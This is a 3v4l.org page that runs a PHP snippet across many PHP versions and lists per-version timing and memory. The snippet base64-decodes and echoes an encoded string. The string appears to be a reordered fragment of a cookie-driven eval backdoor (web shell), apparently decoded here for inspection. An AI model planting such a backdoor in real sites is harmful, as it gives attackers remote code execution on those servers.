3v4l.org

run code in 300+ PHP versions simultaneously
<?php $var='KSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f==JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZ'; echo base64_decode($var);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0130.00318.43
8.3.50.0150.00922.11
8.3.40.0070.00718.71
8.3.30.0110.00418.59
8.3.20.0040.00418.65
8.3.10.0040.00419.35
8.3.00.0000.00821.69
8.2.180.0070.01018.04
8.2.170.0070.00722.96
8.2.160.0120.00320.52
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0060.00326.16
8.2.120.0000.00819.66
8.2.110.0030.00720.38
8.2.100.0070.00417.91
8.2.90.0040.00419.03
8.2.80.0040.00417.97
8.2.70.0040.00417.63
8.2.60.0040.00417.80
8.2.50.0090.00018.07
8.2.40.0000.00818.22
8.2.30.0030.00521.21
8.2.20.0050.00217.69
8.2.10.0000.00817.62
8.2.00.0040.00417.49
8.1.280.0070.00725.92
8.1.270.0070.00023.99
8.1.260.0070.01126.35
8.1.250.0040.00428.09
8.1.240.0060.00322.42
8.1.230.0040.00720.80
8.1.220.0000.00918.77
8.1.210.0040.00418.77
8.1.200.0040.00417.22
8.1.190.0040.00417.40
8.1.180.0030.00518.10
8.1.170.0080.00018.65
8.1.160.0070.00018.68
8.1.150.0000.00718.57
8.1.140.0030.00517.43
8.1.130.0000.00717.73
8.1.120.0030.00317.30
8.1.110.0070.00017.40
8.1.100.0040.00417.38
8.1.90.0000.00717.42
8.1.80.0040.00417.40
8.1.70.0000.00717.39
8.1.60.0060.00317.55
8.1.50.0000.00717.30
8.1.40.0040.00417.44
8.1.30.0000.00717.51
8.1.20.0000.00717.50
8.1.10.0000.00717.52
8.1.00.0000.00717.33
8.0.300.0040.00419.97
8.0.290.0030.00317.05
8.0.280.0030.00318.35
8.0.270.0000.00717.18
8.0.260.0030.00316.82
8.0.250.0080.00016.82
8.0.240.0050.00316.86
8.0.230.0070.00016.91
8.0.220.0030.00616.81
8.0.210.0070.00316.79
8.0.200.0000.00716.90
8.0.190.0000.00916.89
8.0.180.0040.00416.84
8.0.170.0040.00416.89
8.0.160.0000.00816.84
8.0.150.0040.00416.79
8.0.140.0040.00416.67
8.0.130.0050.00013.18
8.0.120.0000.00716.74
8.0.110.0030.00516.65
8.0.100.0000.00816.70
8.0.90.0000.00816.93
8.0.80.0140.00716.79
8.0.70.0050.00216.83
8.0.60.0050.00216.71
8.0.50.0030.00516.73
8.0.30.0130.00516.83
8.0.20.0090.00917.40
8.0.10.0040.00416.77
8.0.00.0090.01016.84
7.4.330.0020.00214.59
7.4.320.0000.00616.54
7.4.300.0060.00016.54
7.4.290.0030.00316.42
7.4.280.0000.00816.50
7.4.270.0000.00716.45
7.4.260.0060.00013.19
7.4.250.0030.00316.50
7.4.240.0070.00016.57
7.4.230.0000.00716.55
7.4.220.0100.01016.54
7.4.210.0080.00816.50
7.4.200.0000.00716.63
7.4.190.0000.00716.57
7.4.160.0090.01516.59
7.4.150.0030.01417.40
7.4.140.0120.00717.86
7.4.130.0070.01016.53
7.4.120.0120.00616.57
7.4.110.0100.01016.33
7.4.100.0110.01216.46
7.4.90.0090.00916.28
7.4.80.0160.00719.39
7.4.70.0080.00816.25
7.4.60.0130.00416.26
7.4.50.0030.00616.41
7.4.40.0080.00822.52
7.4.30.0060.00916.53
7.4.00.0000.01215.14
7.3.330.0050.00012.88
7.3.320.0060.00012.96
7.3.310.0030.00316.21
7.3.300.0070.00016.20
7.3.290.0100.00316.11
7.3.280.0140.00616.11
7.3.270.0040.01317.40
7.3.260.0120.01018.24
7.3.250.0090.00816.27
7.3.240.0090.01216.35
7.3.230.0140.00416.39
7.3.210.0120.00616.21
7.3.200.0090.01219.39
7.3.190.0070.01016.35
7.3.180.0150.00716.36
7.3.170.0120.00416.35
7.3.160.0140.00416.31
7.3.120.0100.00714.75
7.2.330.0130.00716.41
7.2.320.0030.01316.50
7.2.310.0130.01416.62
7.2.300.0090.00616.64
7.2.290.0100.01016.40
7.2.60.0070.00716.61
7.2.00.0000.00919.24
7.1.200.0070.00415.81
7.1.100.0070.00717.87
7.1.70.0040.00716.78
7.1.60.0060.01819.40
7.1.50.0120.00916.86
7.1.00.0100.07022.36
7.0.200.0030.01016.88
7.0.140.0030.07321.97
7.0.70.0070.08321.72
7.0.60.0070.07321.58
7.0.50.0070.08022.19
7.0.40.0000.08720.01
7.0.30.0030.08720.18
7.0.20.0030.09020.17
7.0.10.0070.08020.06
7.0.00.0070.08020.12
5.6.220.0070.08320.55
5.6.210.0100.07320.67
5.6.200.0170.05721.06
5.6.190.0100.05721.01
5.6.180.0100.06721.04
5.6.170.0030.08320.95
5.6.160.0100.07721.04
5.6.150.0030.08721.02
5.6.140.0130.03321.05
5.6.130.0130.07321.06
5.6.120.0070.08021.05
5.6.110.0100.07321.07
5.6.100.0070.08021.04
5.6.90.0030.07721.05
5.6.80.0070.07020.44
5.6.70.0030.08020.46
5.6.60.0100.07320.34
5.6.50.0070.07720.43
5.6.40.0030.08320.46
5.6.30.0100.06720.27
5.6.20.0130.06020.21
5.6.10.0100.05320.37
5.6.00.0030.07720.29
5.5.360.0000.09020.34
5.5.350.0100.08020.43
5.5.340.0070.07720.87
5.5.330.0070.08320.88
5.5.320.0100.07720.88
5.5.310.0030.07720.83
5.5.300.0030.08320.92
5.5.290.0030.04720.92
5.5.280.0070.05320.88
5.5.270.0070.08020.71
5.5.260.0100.05020.78
5.5.250.0030.07720.71
5.5.240.0070.07020.24
5.5.230.0000.08720.20
5.5.220.0000.08020.24
5.5.210.0030.08020.13
5.5.200.0130.07020.25
5.5.190.0030.08020.14
5.5.180.0070.05020.09
5.5.160.0070.07320.24
5.5.150.0070.08020.08
5.5.140.0100.06720.18
5.5.130.0030.07019.98
5.5.120.0030.08020.23
5.5.110.0100.07320.14
5.5.100.0030.07320.06
5.5.90.0070.04320.05
5.5.80.0030.07720.14
5.5.70.0070.08020.01
5.5.60.0100.06720.03
5.5.50.0000.06320.03
5.5.40.0030.05020.06
5.5.30.0070.07320.05
5.5.20.0070.08020.08
5.5.10.0030.08020.01
5.5.00.0030.08020.04
5.4.450.0000.08319.46
5.4.440.0000.05019.16
5.4.430.0070.07719.43
5.4.420.0030.07719.35
5.4.410.0030.07719.16
5.4.400.0070.07319.12
5.4.390.0000.06319.04
5.4.380.0030.06318.98
5.4.370.0030.08018.92
5.4.360.0070.07319.09
5.4.350.0200.05719.11
5.4.340.0100.06718.98
5.4.320.0100.07718.90
5.4.310.0070.06318.78
5.4.300.0030.07318.98
5.4.290.0130.06719.14
5.4.280.0070.05019.09
5.4.270.0070.06318.78
5.4.260.0070.05019.05
5.4.250.0030.04019.04
5.4.240.0030.05019.05
5.4.230.0030.08019.04
5.4.220.0070.05018.78
5.4.210.0000.06718.93
5.4.200.0100.05018.78
5.4.190.0000.08319.13
5.4.180.0070.05718.93
5.4.170.0070.07019.05
5.4.160.0030.07318.79
5.4.150.0030.07719.10
5.4.140.0030.06016.36
5.4.130.0030.04316.29
5.4.120.0000.07016.31
5.4.110.0030.04716.42
5.4.100.0030.06716.42
5.4.90.0000.07716.28
5.4.80.0100.07016.35
5.4.70.0070.05016.34
5.4.60.0070.05716.42
5.4.50.0000.05316.49
5.4.40.0030.07716.35
5.4.30.0000.08016.40
5.4.20.0030.05316.30
5.4.10.0070.04016.38
5.4.00.0030.06715.71
5.3.290.0070.06314.65
5.3.280.0070.07314.44
5.3.270.0030.07714.59
5.3.260.0030.06314.55
5.3.250.0070.07714.56
5.3.240.0000.05014.51
5.3.230.0100.06714.59
5.3.220.0030.07014.57
5.3.210.0030.05714.54
5.3.200.0000.06014.50
5.3.190.0030.04014.54
5.3.180.0030.07714.56
5.3.170.0030.07714.38
5.3.160.0030.07714.43
5.3.150.0000.07714.41
5.3.140.0030.07714.55
5.3.130.0070.05714.50
5.3.120.0070.08014.38
5.3.110.0030.07714.42
5.3.100.0000.06314.03
5.3.90.0070.06014.02
5.3.80.0000.06313.96
5.3.70.0030.07313.87
5.3.60.0000.06013.95
5.3.50.0000.05013.94
5.3.40.0000.07713.91
5.3.30.0070.07013.84
5.3.20.0000.07713.66
5.3.10.0000.07713.63
5.3.00.0030.07013.63
5.2.170.0070.05713.51
5.2.160.0030.04013.51
5.2.150.0000.04713.51
5.2.140.0000.06313.51
5.2.130.0030.05013.51
5.2.120.0030.05313.51
5.2.110.0000.04313.51
5.2.100.0030.06013.51
5.2.90.0070.06013.51
5.2.80.0070.06013.51
5.2.70.0000.06013.51
5.2.60.0000.05713.51
5.2.50.0000.06713.51
5.2.40.0030.06013.51
5.2.30.0030.03713.51
5.2.20.0030.05713.51
5.2.10.0000.04313.51
5.2.00.0070.06013.51
5.1.60.0070.04713.51
5.1.50.0070.04713.51
5.1.40.0030.02713.51
5.1.30.0030.05713.51
5.1.20.0030.05713.51
5.1.10.0000.04713.51
5.1.00.0030.05313.51
5.0.50.0100.04013.51
5.0.40.0070.04013.51
5.0.30.0070.04713.51
5.0.20.0000.04713.51
5.0.10.0000.04013.51
5.0.00.0070.05013.51
4.4.90.0030.03313.51
4.4.80.0000.03313.51
4.4.70.0000.02713.51
4.4.60.0000.02713.51
4.4.50.0000.03313.51
4.4.40.0000.05313.51
4.4.30.0000.03713.51
4.4.20.0070.03013.51
4.4.10.0000.03713.51
4.4.00.0030.05013.51
4.3.110.0000.03313.51
4.3.100.0000.03313.51
4.3.90.0070.02713.51
4.3.80.0030.05313.51
4.3.70.0000.03013.51
4.3.60.0070.03013.51
4.3.50.0070.02713.51
4.3.40.0030.04713.51
4.3.30.0000.04013.51
4.3.20.0030.04013.51
4.3.10.0030.03313.51
4.3.00.0000.03013.51

preferences:
54.86 ms | 400 KiB | 5 Q